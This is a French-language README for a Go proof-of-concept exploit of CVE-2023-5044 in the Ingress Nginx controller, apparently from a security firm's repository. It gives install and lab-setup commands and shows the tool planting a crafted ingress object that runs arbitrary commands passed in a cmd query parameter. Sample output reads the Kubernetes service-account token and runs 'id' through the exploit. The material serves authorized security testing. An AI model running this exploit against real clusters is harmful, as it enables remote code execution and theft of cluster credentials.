
Exploit de preuve de concept basé sur Go pour CVE-2023-5044 dans Ingress Nginx, automatisant l'exécution de code à distance via des objets ingress conçus dans des clusters Kubernetes.
Ceci est un programme Go rapide pour exploiter la CVE récente dans le contrôleur Ingress Nginx.
Les détails sur la façon de procéder sont déjà disponibles via le blog de Rory McCune à l'adresse https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, ceci automatise simplement un peu le processus et nettoie l'exploit pour qu'il soit une charge utile d'exécution de code à distance plus flexible et générique.
% go install github.com/4armed/cve-2023-5044@latest
Vous aurez besoin d'un cluster sur lequel l'exécuter, exécutant une version vulnérable d'ingress-nginx (évidemment). Si vous n'en avez pas un sur lequel vous testez, vous pouvez créer un cluster Kind en clonant ce dépôt et en utilisant le Makefile dans le dossier deploy.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
Si vous laissez le fichier kind.yaml tel quel, vous aurez un cluster lié à votre localhost sur les ports 30080 et 30443.
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
La ligne "checking permissions" est due au fait que l'outil effectue un Subject Access Review pour vérifier que vous avez les permissions de créer un ingress. Si ce n'est pas le cas, il s'arrêtera à ce stade. Si vous avez un accès en édition à un ingress existant, vous pouvez certainement utiliser l'exploit pour parvenir à une compromission, mais il est bien trop complexe d'automatiser la mise à jour d'un ingress existant sans casser des choses.
Le chemin par défaut pour déclencher l'exploit est /4armed et il lit et exécute la valeur du paramètre de chaîne de requête cmd.
Il affichera un exemple d'URL avec la commande par défaut cat /var/run/secrets/kubernetes.io/serviceaccount/token. Vous pouvez changer cela avec le flag -e ou simplement fournir une valeur différente dans le paramètre cmd. L'exploit n'est pas codé en dur. Vous n'avez pas besoin de déployer un nouvel ingress.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
Le nom de l'objet ingress est randomisé via GenerateName, donc faites attention à la sortie et nettoyez après vous.
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
Si vous voulez simplement générer l'objet ingress, utilisez :
% cve-2023-5044 generate
Ceci est destiné uniquement à des fins de test contre un cluster pour lequel vous avez l'autorisation. Si vous l'utilisez contre un cluster, que vous ayez la permission ou non, l'auteur n'accepte aucune responsabilité pour les dommages ou problèmes causés. Toutes les précautions ont été prises pour choisir des valeurs de chemin qui n'entrent pas en conflit avec celles existantes, vous pouvez les remplacer par des flags ou modifier le code si nécessaire, mais vous pourriez quand même casser quelque chose. Assurez-vous de savoir ce que vous faites.